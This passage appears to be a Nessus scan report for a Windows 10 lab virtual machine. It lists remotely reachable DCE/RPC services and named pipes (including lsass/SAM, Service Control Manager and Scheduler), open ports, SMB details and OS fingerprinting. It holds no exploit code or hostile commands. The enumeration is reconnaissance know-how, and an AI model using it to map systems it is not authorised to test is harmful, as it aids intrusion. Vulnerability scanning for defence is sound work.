Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-e3b7edd8092722888f

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3a9ef155-691d-4449-8d05-09ad57031823, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : ubpmtaskhostchannel

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3a9ef155-691d-4449-8d05-09ad57031823, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-44ba934351730327f8

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : senssvc

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-0e830d526998ef5b3c

Object UUID : 666f7270-6c69-7365-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc067F61

Object UUID : 52ef130c-08fd-4388-86b3-6edf00000001
UUID : 12e65dd8-887f-41ef-91bf-8d816c42c2e7, version 1.0
Description : Unknown RPC service
Annotation : Secure Desktop LRPC interface
Type : Local RPC service
Named pipe : WMsgKRpc067F61

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4c8d0bef-d7f1-49f0-9102-caa05f58d114, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : nlaplg

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4c8d0bef-d7f1-49f0-9102-caa05f58d114, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : nlaapi

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc6

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc6

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
Description : Unknown RPC service
Annotation : NSI server endpoint
Type : Local RPC service
Named pipe : LRPC-ea069e2ea687780029

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
		None

		10736						None		10.0.2.15		tcp		445		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available remotely :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7f1343fe-50a9-4927-a778-0c5859517bac, version 1.0
Description : Unknown RPC service
Annotation : DfsDs service
Type : Remote RPC service
Named pipe : \PIPE\wkssvc
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 33d84484-3626-47ee-8c6f-e7e98b113be1, version 2.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3a9ef155-691d-4449-8d05-09ad57031823, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WINDOWS10

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\InitShutdown
Netbios name : \\WINDOWS10

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\InitShutdown
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 2.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 8fb74744-b2ff-4c00-be0d-9ef9a191fe1b, version 1.0
Description : Unknown RPC service
Annotation : Ngc Pop Key Service
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\WINDOWS10

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 51a227ae-825b-41f2-b4a9-1ac9557a1018, version 1.0
Description : Unknown RPC service
Annotation : Ngc Pop Key Service
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\WINDOWS10

		None

		10736						None		10.0.2.15		tcp		2103		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 2103 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Remote RPC service
TCP Port : 2103
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Remote RPC service
TCP Port : 2103
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Remote RPC service
TCP Port : 2103
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Remote RPC service
TCP Port : 2103
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		2105		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 2105 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Remote RPC service
TCP Port : 2105
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Remote RPC service
TCP Port : 2105
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Remote RPC service
TCP Port : 2105
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Remote RPC service
TCP Port : 2105
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		2107		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 2107 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Remote RPC service
TCP Port : 2107
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Remote RPC service
TCP Port : 2107
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Remote RPC service
TCP Port : 2107
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Remote RPC service
TCP Port : 2107
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		49664		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49664 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 51a227ae-825b-41f2-b4a9-1ac9557a1018, version 1.0
Description : Unknown RPC service
Annotation : Ngc Pop Key Service
Type : Remote RPC service
TCP Port : 49664
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 49664
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 2.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Remote RPC service
TCP Port : 49664
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 8fb74744-b2ff-4c00-be0d-9ef9a191fe1b, version 1.0
Description : Unknown RPC service
Annotation : Ngc Pop Key Service
Type : Remote RPC service
TCP Port : 49664
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		49665		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49665 :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49665
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		49666		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49666 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Remote RPC service
TCP Port : 49666
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		49667		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49667 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
Description : IPsec Services (Windows XP & 2003)
Windows process : lsass.exe
Type : Remote RPC service
TCP Port : 49667
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49667
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49667
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49667
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76f03f96-cdfd-44fc-a22c-64950a001209, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49667
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		49668		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49668 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49668
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3a9ef155-691d-4449-8d05-09ad57031823, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49668
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		49669		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49669 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Remote RPC service
TCP Port : 49669
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Remote RPC service
TCP Port : 49669
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Remote RPC service
TCP Port : 49669
IP : 10.0.2.15

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Remote RPC service
TCP Port : 49669
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		49670		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49670 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
Description : Unknown RPC service
Annotation : Remote Fw APIs
Type : Remote RPC service
TCP Port : 49670
IP : 10.0.2.15

		None

		10736						None		10.0.2.15		tcp		49673		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49673 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
Description : Service Control Manager
Windows process : svchost.exe
Type : Remote RPC service
TCP Port : 49673
IP : 10.0.2.15

		None

		10785						None		10.0.2.15		tcp		445		Microsoft Windows SMB NativeLanManager Remote System Information Disclosure		It was possible to obtain information about the remote operating
system.		Nessus was able to obtain the remote operating system name and version
(Windows and/or Samba) by sending an authentication request to port
139 or 445. Note that this plugin requires SMB to be enabled on the
host.		n/a				Nessus was able to obtain the following information about the host, by 
parsing the SMB2 Protocol's NTLM SSP message:

	Target Name: WINDOWS10
	NetBIOS Domain Name: WINDOWS10
	NetBIOS Computer Name: WINDOWS10
	DNS Domain Name: Windows10
	DNS Computer Name: Windows10
	DNS Tree Name: unknown
	Product Version: 10.0.19041
		None

		11011						None		10.0.2.15		tcp		139		Microsoft Windows SMB Service Detection		A file / print sharing service is listening on the remote host.		The remote service understands the CIFS (Common Internet File System)
or Server Message Block (SMB) protocol, used to provide shared access
to files, printers, etc between nodes on a network.		n/a				
An SMB server is running on this port.
		None

		11011						None		10.0.2.15		tcp		445		Microsoft Windows SMB Service Detection		A file / print sharing service is listening on the remote host.		The remote service understands the CIFS (Common Internet File System)
or Server Message Block (SMB) protocol, used to provide shared access
to files, printers, etc between nodes on a network.		n/a				
A CIFS server is running on this port.
		None

		11153						None		10.0.2.15		tcp		80		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				A web server seems to be running on this port.		None

		11219						None		10.0.2.15		tcp		21		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 21/tcp was found to be open		None

		11219						None		10.0.2.15		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open		None

		11219						None		10.0.2.15		tcp		135		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 135/tcp was found to be open		None

		11219						None		10.0.2.15		tcp		139		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 139/tcp was found to be open		None

		11219						None		10.0.2.15		tcp		445		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 445/tcp was found to be open		None

		11219						None		10.0.2.15		tcp		1801		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 1801/tcp was found to be open		None

		11219						None		10.0.2.15		tcp		2103		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 2103/tcp was found to be open		None

		11219						None		10.0.2.15		tcp		2105		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 2105/tcp was found to be open		None

		11219						None		10.0.2.15		tcp		2107		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 2107/tcp was found to be open		None

		11936						None		10.0.2.15		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Microsoft Windows 10
Confidence level : 75
Method : HTTP

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

HTTP:Server: Microsoft-IIS/10.0


SinFP:!:
   P1:B11113:F0x12:W65392:O0204ffff:M1460:
   P2:B11113:F0x12:W65535:O0204ffff0103030801010402:M1460:
   P3:B00000:F0x00:W0:O0:M0
   P4:190400_7_p=21

 
The remote host is running Microsoft Windows 10		None

		12053						None		10.0.2.15		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
10.0.2.15 resolves as Windows10.
		None

		19506						None		10.0.2.15		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - The ping round trip time 
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 10.4.1
Nessus build : 20091
Plugin feed version : 202212290946
Scanner edition used : Nessus
Scanner OS : WINDOWS
Scanner distribution : win-x86-64
Scan type : Normal
Scan name : Scan
Scan policy used : Scan
Scanner IP : 10.0.2.9
Port scanner(s) : nessus_syn_scanner 
Port range : default
Ping RTT : Unavailable
Thorough tests : no
Experimental tests : no
Plugin debugging enabled : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 5
Recv timeout : 5
Backports : None
Allow post-scan editing : Yes
Scan Start Date : 2022/12/29 14:34 GMT Standard Time
Scan duration : 672 sec
		None

		21745						None		10.0.2.15		tcp		0		OS Security Patch Assessment Failed		Errors prevented OS Security Patch Assessment.		OS Security Patch Assessment is not available for this host because
either the credentials supplied in the scan policy did not allow
Nessus to log into it or some other problem occurred.		Fix the problem(s) so that OS Security Patch Assessment is possible.				
The following service errors were logged :

  - Plugin      : smb_login.nasl
    Plugin ID   : 10394
    Plugin Name : Microsoft Windows SMB Log In Possible
    Protocol    : SMB
    Message     : 
It was not possible to log into the remote host via smb (invalid credentials).
		None

		22964						None		10.0.2.15		tcp		21		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An FTP server is running on this port.		None

		35716						None		10.0.2.15		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

08:00:27:E4:8D:56 : PCS Systemtechnik GmbH
		None

		45590						None		10.0.2.15		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:microsoft:windows_10 -> Microsoft Windows 10 64-bit

Following application CPE matched on the remote system : 

  cpe:/a:microsoft:iis:10.0 -> Microsoft IIS
		None

		53513						None		10.0.2.15		udp		5355		Link-Local Multicast Name Resolution (LLMNR) Detection		The remote device supports LLMNR.		The remote device answered to a Link-local Multicast Name Resolution
(LLMNR) request.  This protocol provides a name lookup service similar
to NetBIOS or DNS.  It is enabled by default on modern Windows
versions.		Make sure that use of this software conforms to your organization's
acceptable use and security policies.		http://www.nessus.org/u?51eae65d
http://technet.microsoft.com/en-us/library/bb878128.aspx		
According to LLMNR, the name of the remote host is 'Windows10'.
		None

		54615						None		10.0.2.15		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 75
		None

		86420						None		10.0.2.15		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 08:00:27:E4:8D:56
		None

		100871						None		10.0.2.15		tcp		445		Microsoft Windows SMB Versions Supported (remote check)		It was possible to obtain information about the version of SMB running
on the remote host.		Nessus was able to obtain the version of SMB running on the remote
host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.		n/a				
The remote host supports the following versions of SMB :
  SMBv2
		None

		104410						None		10.0.2.15		tcp		445		Target Credential Status by Authentication Protocol - Failure for Provided Credentials		Nessus was unable to log into the detected authentication protocol,
using the provided credentials, in order to perform credentialed checks.		Nessus failed to successfully authenticate directly to the remote
target on an available authentication protocol. Nessus was able to
connect to the remote port and identify that the service running on
the port supports an authentication protocol, but Nessus failed to
authenticate to the remote service using the provided credentials.

There may have been a failure in protocol negotiation or communication
that prevented authentication from being attempted or all of the
provided credentials for the authentication protocol may have been
invalid. A protocol failure may indicate a compatibility issue with
the protocol configuration. A protocol failure due to an environmental
issue such as resource or congestion issues may also prevent valid
credentials from being identified. See plugin output for error
details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

